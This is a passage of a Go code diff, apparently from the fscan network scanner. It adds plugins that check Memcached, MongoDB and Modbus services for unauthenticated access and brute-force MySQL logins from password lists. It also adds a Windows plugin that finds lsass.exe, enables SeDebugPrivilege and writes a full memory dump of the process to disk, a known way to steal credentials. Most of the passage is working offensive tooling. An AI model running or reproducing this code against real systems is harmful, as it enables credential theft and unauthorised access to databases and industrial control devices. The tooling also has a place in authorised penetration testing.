"port": info.Ports,
"service": "mssql",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
}
+160
View File
@@ -0,0 +1,160 @@
package Plugins
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MemcachedScanResult 表示Memcached扫描结果
type MemcachedScanResult struct {
Success bool
Error error
Stats string
}
// MemcachedScan 检测Memcached未授权访问
func MemcachedScan(info *Common.HostInfo) error {
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 Memcached %s", realhost))
// 尝试连接并检查未授权访问
result := tryMemcachedConnection(ctx, info, Common.Timeout)
if result.Success {
// 保存成功结果
scanResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "memcached",
"type": "unauthorized-access",
"description": "Memcached unauthorized access",
"stats": result.Stats,
},
}
Common.SaveResult(scanResult)
Common.LogSuccess(fmt.Sprintf("Memcached %s 未授权访问", realhost))
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
if ctx.Err() == context.DeadlineExceeded {
Common.LogDebug("Memcached扫描全局超时")
return fmt.Errorf("全局超时")
}
default:
}
Common.LogDebug(fmt.Sprintf("Memcached扫描完成: %s", realhost))
return result.Error
}
// tryMemcachedConnection 尝试连接Memcached并检查未授权访问
func tryMemcachedConnection(ctx context.Context, info *Common.HostInfo, timeoutSeconds int64) *MemcachedScanResult {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
timeout := time.Duration(timeoutSeconds) * time.Second
// 创建结果通道
resultChan := make(chan *MemcachedScanResult, 1)
// 创建连接上下文,带超时
connCtx, connCancel := context.WithTimeout(ctx, timeout)
defer connCancel()
// 在协程中尝试连接
go func() {
// 构建结果结构
result := &MemcachedScanResult{
Success: false,
Error: nil,
Stats: "",
}
// 建立TCP连接
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout)
if err != nil {
result.Error = err
select {
case <-connCtx.Done():
case resultChan <- result:
}
return
}
defer client.Close()
// 设置操作截止时间
if err := client.SetDeadline(time.Now().Add(timeout)); err != nil {
result.Error = err
select {
case <-connCtx.Done():
case resultChan <- result:
}
return
}
// 发送stats命令
if _, err := client.Write([]byte("stats\n")); err != nil {
result.Error = err
select {
case <-connCtx.Done():
case resultChan <- result:
}
return
}
// 读取响应
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err != nil {
result.Error = err
select {
case <-connCtx.Done():
case resultChan <- result:
}
return
}
// 检查响应是否包含统计信息
response := string(rev[:n])
if strings.Contains(response, "STAT") {
result.Success = true
result.Stats = response
}
// 发送结果
select {
case <-connCtx.Done():
case resultChan <- result:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result
case <-connCtx.Done():
if ctx.Err() != nil {
// 全局上下文取消
return &MemcachedScanResult{
Success: false,
Error: ctx.Err(),
}
}
// 连接超时
return &MemcachedScanResult{
Success: false,
Error: fmt.Errorf("连接超时"),
}
}
}
+319
View File
@@ -0,0 +1,319 @@
//go:build windows
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/sys/windows"
"os"
"path/filepath"
"syscall"
"unsafe"
)
const (
TH32CS_SNAPPROCESS = 0x00000002
INVALID_HANDLE_VALUE = ^uintptr(0)
MAX_PATH = 260
PROCESS_ALL_ACCESS = 0x1F0FFF
SE_PRIVILEGE_ENABLED = 0x00000002
ERROR_SUCCESS = 0
)
type PROCESSENTRY32 struct {
dwSize uint32
cntUsage uint32
th32ProcessID uint32
th32DefaultHeapID uintptr
th32ModuleID uint32
cntThreads uint32
th32ParentProcessID uint32
pcPriClassBase int32
dwFlags uint32
szExeFile [MAX_PATH]uint16
}
type LUID struct {
LowPart uint32
HighPart int32
}
type LUID_AND_ATTRIBUTES struct {
Luid LUID
Attributes uint32
}
type TOKEN_PRIVILEGES struct {
PrivilegeCount uint32
Privileges [1]LUID_AND_ATTRIBUTES
}
// ProcessManager 处理进程相关操作
type ProcessManager struct {
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
}
// 创建新的进程管理器
func NewProcessManager() (*ProcessManager, error) {
kernel32, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
}
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
if err != nil {
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
}
advapi32, err := syscall.LoadDLL("advapi32.dll")
if err != nil {
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
}
return &ProcessManager{
kernel32: kernel32,
dbghelp: dbghelp,
advapi32: advapi32,
}, nil
}
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
if handle == uintptr(INVALID_HANDLE_VALUE) {
return 0, fmt.Errorf("创建进程快照失败: %v", err)
}
return handle, nil
}
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
var pe32 PROCESSENTRY32
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
proc32First := pm.kernel32.MustFindProc("Process32FirstW")
proc32Next := pm.kernel32.MustFindProc("Process32NextW")
lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
return 0, fmt.Errorf("获取第一个进程失败")
}
for {
ret, _, _ = lstrcmpi.Call(
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
)
if ret == 0 {
return pe32.th32ProcessID, nil
}
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
break
}
}
return 0, fmt.Errorf("未找到进程: %s", name)
}
func (pm *ProcessManager) closeHandle(handle uintptr) {
proc := pm.kernel32.MustFindProc("CloseHandle")
proc.Call(handle)
}
func (pm *ProcessManager) ElevatePrivileges() error {
handle, err := pm.getCurrentProcess()
if err != nil {
return err
}
var token syscall.Token
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
if err != nil {
return fmt.Errorf("打开进程令牌失败: %v", err)
}
defer token.Close()
var tokenPrivileges TOKEN_PRIVILEGES
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
ret, _, err := lookupPrivilegeValue.Call(
0,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
)
if ret == 0 {
return fmt.Errorf("查找特权值失败: %v", err)
}
tokenPrivileges.PrivilegeCount = 1
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
ret, _, err = adjustTokenPrivileges.Call(
uintptr(token),
0,
uintptr(unsafe.Pointer(&tokenPrivileges)),
0,
0,
0,
)
if ret == 0 {
return fmt.Errorf("调整令牌特权失败: %v", err)
}
return nil
}
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
handle, _, _ := proc.Call()
if handle == 0 {
return 0, fmt.Errorf("获取当前进程句柄失败")
}
return syscall.Handle(handle), nil
}
func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) error {
processHandle, err := pm.openProcess(pid)
if err != nil {
return err
}
defer pm.closeHandle(processHandle)
fileHandle, err := pm.createDumpFile(outputPath)
if err != nil {
return err
}
defer pm.closeHandle(fileHandle)
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
ret, _, err := miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
0x00061907, // MiniDumpWithFullMemory
0,
0,
0,
)
if ret == 0 {
return fmt.Errorf("写入转储文件失败: %v", err)
}
return nil
}
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
proc := pm.kernel32.MustFindProc("OpenProcess")
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
if handle == 0 {
return 0, fmt.Errorf("打开进程失败: %v", err)
}
return handle, nil
}
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
pathPtr, err := syscall.UTF16PtrFromString(path)
if err != nil {
return 0, err
}
createFile := pm.kernel32.MustFindProc("CreateFileW")
handle, _, err := createFile.Call(
uintptr(unsafe.Pointer(pathPtr)),
syscall.GENERIC_WRITE,
0,
0,
syscall.CREATE_ALWAYS,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
if handle == INVALID_HANDLE_VALUE {
return 0, fmt.Errorf("创建文件失败: %v", err)
}
return handle, nil
}
// 查找目标进程
func (pm *ProcessManager) FindProcess(name string) (uint32, error) {
snapshot, err := pm.createProcessSnapshot()
if err != nil {
return 0, err
}
defer pm.closeHandle(snapshot)
return pm.findProcessInSnapshot(snapshot, name)
}
// 检查是否具有管理员权限
func IsAdmin() bool {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid)
if err != nil {
return false
}
defer windows.FreeSid(sid)
token := windows.Token(0)
member, err := token.IsMember(sid)
return err == nil && member
}
func MiniDump(info *Common.HostInfo) (err error) {
// 先检查管理员权限
if !IsAdmin() {
Common.LogError("需要管理员权限才能执行此操作")
return fmt.Errorf("需要管理员权限才能执行此操作")
}
pm, err := NewProcessManager()
if err != nil {
Common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err))
return fmt.Errorf("初始化进程管理器失败: %v", err)
}
// 查找 lsass.exe
pid, err := pm.FindProcess("lsass.exe")
if err != nil {
Common.LogError(fmt.Sprintf("查找进程失败: %v", err))
return fmt.Errorf("查找进程失败: %v", err)
}
Common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid))
// 提升权限
if err := pm.ElevatePrivileges(); err != nil {
Common.LogError(fmt.Sprintf("提升权限失败: %v", err))
return fmt.Errorf("提升权限失败: %v", err)
}
Common.LogSuccess("成功提升进程权限")
// 创建输出路径
outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid))
// 执行转储
if err := pm.DumpProcess(pid, outputPath); err != nil {
os.Remove(outputPath)
Common.LogError(fmt.Sprintf("进程转储失败: %v", err))
return fmt.Errorf("进程转储失败: %v", err)
}
Common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath))
return nil
}
+9
View File
@@ -0,0 +1,9 @@
//go:build !windows
package Plugins
import "github.com/shadow1ng/fscan/Common"
func MiniDump(info *Common.HostInfo) (err error) {
return nil
}
+273
View File
@@ -0,0 +1,273 @@
package Plugins
import (
"context"
"encoding/binary"
"fmt"
"time"
"github.com/shadow1ng/fscan/Common"
)
// ModbusScanResult 表示 Modbus 扫描结果
type ModbusScanResult struct {
Success bool
DeviceInfo string
Error error
}
// ModbusScan 执行 Modbus 服务扫描
func ModbusScan(info *Common.HostInfo) error {
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始 Modbus 扫描: %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 执行扫描
result := tryModbusScan(ctx, info, Common.Timeout, Common.MaxRetries)
if result.Success {
// 保存扫描结果
saveModbusResult(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Modbus 扫描全局超时")
return fmt.Errorf("全局超时")
default:
if result.Error != nil {
Common.LogDebug(fmt.Sprintf("Modbus 扫描失败: %v", result.Error))
return result.Error
}
Common.LogDebug("Modbus 扫描完成,未发现服务")
return nil
}
}
// tryModbusScan 尝试单个 Modbus 扫描
func tryModbusScan(ctx context.Context, info *Common.HostInfo, timeoutSeconds int64, maxRetries int) *ModbusScanResult {
var lastErr error
host, port := info.Host, info.Ports
target := fmt.Sprintf("%s:%s", host, port)
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &ModbusScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试 Modbus 扫描: %s", retry+1, target))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, connCancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
// 创建结果通道
resultChan := make(chan *ModbusScanResult, 1)
// 在协程中执行扫描
go func() {
// 尝试建立连接
conn, err := Common.WrapperTcpWithContext(connCtx, "tcp", target)
if err != nil {
select {
case <-connCtx.Done():
case resultChan <- &ModbusScanResult{Success: false, Error: err}:
}
return
}
defer conn.Close()
// 构造 Modbus TCP 请求包 - 读取设备ID
request := buildModbusRequest()
// 设置读写超时
conn.SetDeadline(time.Now().Add(time.Duration(timeoutSeconds) * time.Second))
// 发送请求
_, err = conn.Write(request)
if err != nil {
select {
case <-connCtx.Done():
case resultChan <- &ModbusScanResult{
Success: false,
Error: fmt.Errorf("发送Modbus请求失败: %v", err),
}:
}
return
}
// 读取响应
response := make([]byte, 256)
n, err := conn.Read(response)
if err != nil {
select {
case <-connCtx.Done():
case resultChan <- &ModbusScanResult{
Success: false,
Error: fmt.Errorf("读取Modbus响应失败: %v", err),
}:
}
return
}
// 验证响应
if isValidModbusResponse(response[:n]) {
// 获取设备信息
deviceInfo := parseModbusResponse(response[:n])
select {
case <-connCtx.Done():
case resultChan <- &ModbusScanResult{
Success: true,
DeviceInfo: deviceInfo,
}:
}
return
}
select {
case <-connCtx.Done():
case resultChan <- &ModbusScanResult{
Success: false,
Error: fmt.Errorf("非Modbus服务或访问被拒绝"),
}:
}
}()
// 等待扫描结果或超时
var result *ModbusScanResult
select {
case res := <-resultChan:
result = res
case <-connCtx.Done():
if ctx.Err() != nil {
connCancel()
return &ModbusScanResult{
Success: false,
Error: ctx.Err(),
}
}
result = &ModbusScanResult{
Success: false,
Error: fmt.Errorf("连接超时"),
}
}
connCancel()
if result.Success {
return result
}
lastErr = result.Error
if result.Error != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(result.Error); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &ModbusScanResult{
Success: false,
Error: lastErr,
}
}
// buildModbusRequest 构建Modbus TCP请求包
func buildModbusRequest() []byte {
request := make([]byte, 12)
// Modbus TCP头部
binary.BigEndian.PutUint16(request[0:], 0x0001) // 事务标识符
binary.BigEndian.PutUint16(request[2:], 0x0000) // 协议标识符
binary.BigEndian.PutUint16(request[4:], 0x0006) // 长度
request[6] = 0x01 // 单元标识符
// Modbus 请求
request[7] = 0x01 // 功能码: Read Coils
binary.BigEndian.PutUint16(request[8:], 0x0000) // 起始地址
binary.BigEndian.PutUint16(request[10:], 0x0001) // 读取数量
return request
}
// isValidModbusResponse 验证Modbus响应是否有效
func isValidModbusResponse(response []byte) bool {
if len(response) < 9 {
return false
}
// 检查协议标识符
protocolID := binary.BigEndian.Uint16(response[2:])
if protocolID != 0 {
return false
}
// 检查功能码
funcCode := response[7]
if funcCode == 0x81 { // 错误响应
return false
}
return true
}
// parseModbusResponse 解析Modbus响应获取设备信息
func parseModbusResponse(response []byte) string {
if len(response) < 9 {
return ""
}
// 提取更多设备信息
unitID := response[6]
funcCode := response[7]
// 简单的设备信息提取,实际应用中可以提取更多信息
info := fmt.Sprintf("Unit ID: %d, Function: 0x%02X", unitID, funcCode)
// 如果是读取线圈响应,尝试解析线圈状态
if funcCode == 0x01 && len(response) >= 10 {
byteCount := response[8]
if byteCount > 0 && len(response) >= 9+int(byteCount) {
coilValue := response[9] & 0x01 // 获取第一个线圈状态
info += fmt.Sprintf(", Coil Status: %d", coilValue)
}
}
return info
}
// saveModbusResult 保存Modbus扫描结果
func saveModbusResult(info *Common.HostInfo, target string, result *ModbusScanResult) {
// 保存扫描结果
scanResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "modbus",
"type": "unauthorized-access",
"device_info": result.DeviceInfo,
},
}
Common.SaveResult(scanResult)
// 控制台输出
Common.LogSuccess(fmt.Sprintf("Modbus服务 %s 无认证访问", target))
if result.DeviceInfo != "" {
Common.LogSuccess(fmt.Sprintf("设备信息: %s", result.DeviceInfo))
}
}
+190
View File
@@ -0,0 +1,190 @@
package Plugins
import (
"context"
"fmt"
"io"
"strings"
"time"
"github.com/shadow1ng/fscan/Common"
)
// MongodbScan 执行MongoDB未授权扫描
func MongodbScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始MongoDB扫描: %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 创建结果通道
resultChan := make(chan struct {
isUnauth bool
err error
}, 1)
// 在协程中执行扫描
go func() {
isUnauth, err := MongodbUnauth(ctx, info)
select {
case <-ctx.Done():
case resultChan <- struct {
isUnauth bool
err error
}{isUnauth, err}:
}
}()
// 等待结果或超时
select {
case result := <-resultChan:
if result.err != nil {
errlog := fmt.Sprintf("MongoDB %v %v", target, result.err)
Common.LogError(errlog)
return result.err
} else if result.isUnauth {
// 记录控制台输出
Common.LogSuccess(fmt.Sprintf("MongoDB %v 未授权访问", target))
// 保存未授权访问结果
scanResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "mongodb",
"type": "unauthorized-access",
"protocol": "mongodb",
},
}
Common.SaveResult(scanResult)
} else {
Common.LogDebug(fmt.Sprintf("MongoDB %v 需要认证", target))
}
return nil
case <-ctx.Done():
Common.LogError(fmt.Sprintf("MongoDB扫描超时: %s", target))
return fmt.Errorf("全局超时")
}
}
// MongodbUnauth 检测MongoDB未授权访问
func MongodbUnauth(ctx context.Context, info *Common.HostInfo) (bool, error) {
msgPacket := createOpMsgPacket()
queryPacket := createOpQueryPacket()
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("检测MongoDB未授权访问: %s", realhost))
// 尝试OP_MSG查询
Common.LogDebug("尝试使用OP_MSG协议")
reply, err := checkMongoAuth(ctx, realhost, msgPacket)
if err != nil {
Common.LogDebug(fmt.Sprintf("OP_MSG查询失败: %v, 尝试使用OP_QUERY协议", err))
// 失败则尝试OP_QUERY查询
reply, err = checkMongoAuth(ctx, realhost, queryPacket)
if err != nil {
Common.LogDebug(fmt.Sprintf("OP_QUERY查询也失败: %v", err))
return false, err
}
}
// 检查响应结果
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
if strings.Contains(reply, "totalLinesWritten") {
Common.LogDebug("响应中包含totalLinesWritten,确认未授权访问")
return true, nil
}
Common.LogDebug("响应未包含预期内容,可能需要认证")
return false, nil
}
// checkMongoAuth 检查MongoDB认证状态
func checkMongoAuth(ctx context.Context, address string, packet []byte) (string, error) {
Common.LogDebug(fmt.Sprintf("建立MongoDB连接: %s", address))
// 使用带超时的连接
conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return "", fmt.Errorf("连接失败: %v", err)
}
defer conn.Close()
// 检查上下文是否已取消
select {
case <-ctx.Done():
return "", ctx.Err()
default:
}
// 设置读写超时
if err := conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return "", fmt.Errorf("设置超时失败: %v", err)
}
// 发送查询包
Common.LogDebug("发送查询包")
if _, err := conn.Write(packet); err != nil {
return "", fmt.Errorf("发送查询失败: %v", err)
}
// 再次检查上下文是否已取消
select {
case <-ctx.Done():
return "", ctx.Err()
default:
}
// 读取响应
Common.LogDebug("读取响应")
reply := make([]byte, 2048)
count, err := conn.Read(reply)
if err != nil && err != io.EOF {
return "", fmt.Errorf("读取响应失败: %v", err)
}
if count == 0 {
return "", fmt.Errorf("收到空响应")
}
Common.LogDebug(fmt.Sprintf("成功接收响应,字节数: %d", count))
return string(reply[:count]), nil
}
// createOpMsgPacket 创建OP_MSG查询包
func createOpMsgPacket() []byte {
return []byte{
0x69, 0x00, 0x00, 0x00, // messageLength
0x39, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo
0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
0x00, 0x00, 0x00, 0x00, // flagBits
// sections db.adminCommand({getLog: "startupWarnings"})
0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
}
}
// createOpQueryPacket 创建OP_QUERY查询包
func createOpQueryPacket() []byte {
return []byte{
0x48, 0x00, 0x00, 0x00, // messageLength
0x02, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo
0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
0x00, 0x00, 0x00, 0x00, // flags
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
0x00, 0x00, 0x00, 0x00, // numberToSkip
0x01, 0x00, 0x00, 0x00, // numberToReturn
// query db.adminCommand({getLog: "startupWarnings"})
0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
}
}
+344
View File
@@ -0,0 +1,344 @@
package Plugins
import (
"context"
"database/sql"
"fmt"
"net"
"strings"
"sync"
"time"
"github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/Common"
)
// MySQLProxyDialer 自定义dialer结构体
type MySQLProxyDialer struct {
timeout time.Duration
}
// Dial 实现mysql.Dialer接口,支持socks代理
func (d *MySQLProxyDialer) Dial(ctx context.Context, addr string) (net.Conn, error) {
return Common.WrapperTcpWithContext(ctx, "tcp", addr)
}
// registerMySQLDialer 注册MySQL自定义dialer
func registerMySQLDialer() {
// 创建自定义dialer
dialer := &MySQLProxyDialer{
timeout: time.Duration(Common.Timeout) * time.Millisecond,
}
// 注册自定义dialer到go-sql-driver/mysql
mysql.RegisterDialContext("tcp-proxy", func(ctx context.Context, addr string) (net.Conn, error) {
return dialer.Dial(ctx, addr)
})
}
// MySQLCredential 表示一个MySQL凭据
type MySQLCredential struct {
Username string
Password string
}
// MySQLScanResult 表示MySQL扫描结果
type MySQLScanResult struct {
Success bool
Error error
Credential MySQLCredential
}
// MysqlScan 执行MySQL服务扫描
func MysqlScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []MySQLCredential
for _, user := range Common.Userdict["mysql"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, MySQLCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["mysql"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentMySQLScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveMySQLResult(info, target, result.Credential)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("MySQL扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentMySQLScan 并发扫描MySQL服务
func concurrentMySQLScan(ctx context.Context, info *Common.HostInfo, credentials []MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *MySQLScanResult, 1)
workChan := make(chan MySQLCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryMySQLCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("MySQL并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryMySQLCredential 尝试单个MySQL凭据
func tryMySQLCredential(ctx context.Context, info *Common.HostInfo, credential MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &MySQLScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建独立的超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := MysqlConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &MySQLScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// Access denied 表示用户名或密码错误,无需重试
if strings.Contains(err.Error(), "Access denied") {
break
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &MySQLScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// MysqlConn 尝试MySQL连接
func MysqlConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 检查是否需要使用socks代理
var connStr string
if Common.Socks5Proxy != "" {
// 注册自定义dialer
registerMySQLDialer()
// 使用自定义网络类型的连接字符串
connStr = fmt.Sprintf(
"%v:%v@tcp-proxy(%v:%v)/mysql?charset=utf8&timeout=%v",
username, password, host, port, timeout,
)
} else {
// 标准连接字符串
connStr = fmt.Sprintf(
"%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",
username, password, host, port, timeout,
)
}
// 创建结果通道
resultChan := make(chan struct {
success bool
err error
}, 1)
// 在协程中尝试连接
go func() {
// 建立数据库连接
db, err := sql.Open("mysql", connStr)
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 添加上下文支持
conn, err := db.Conn(ctx)
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
defer conn.Close()
// 测试连接
err = conn.PingContext(ctx)
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
// 连接成功
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{true, nil}:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
}
}
// saveMySQLResult 保存MySQL扫描结果
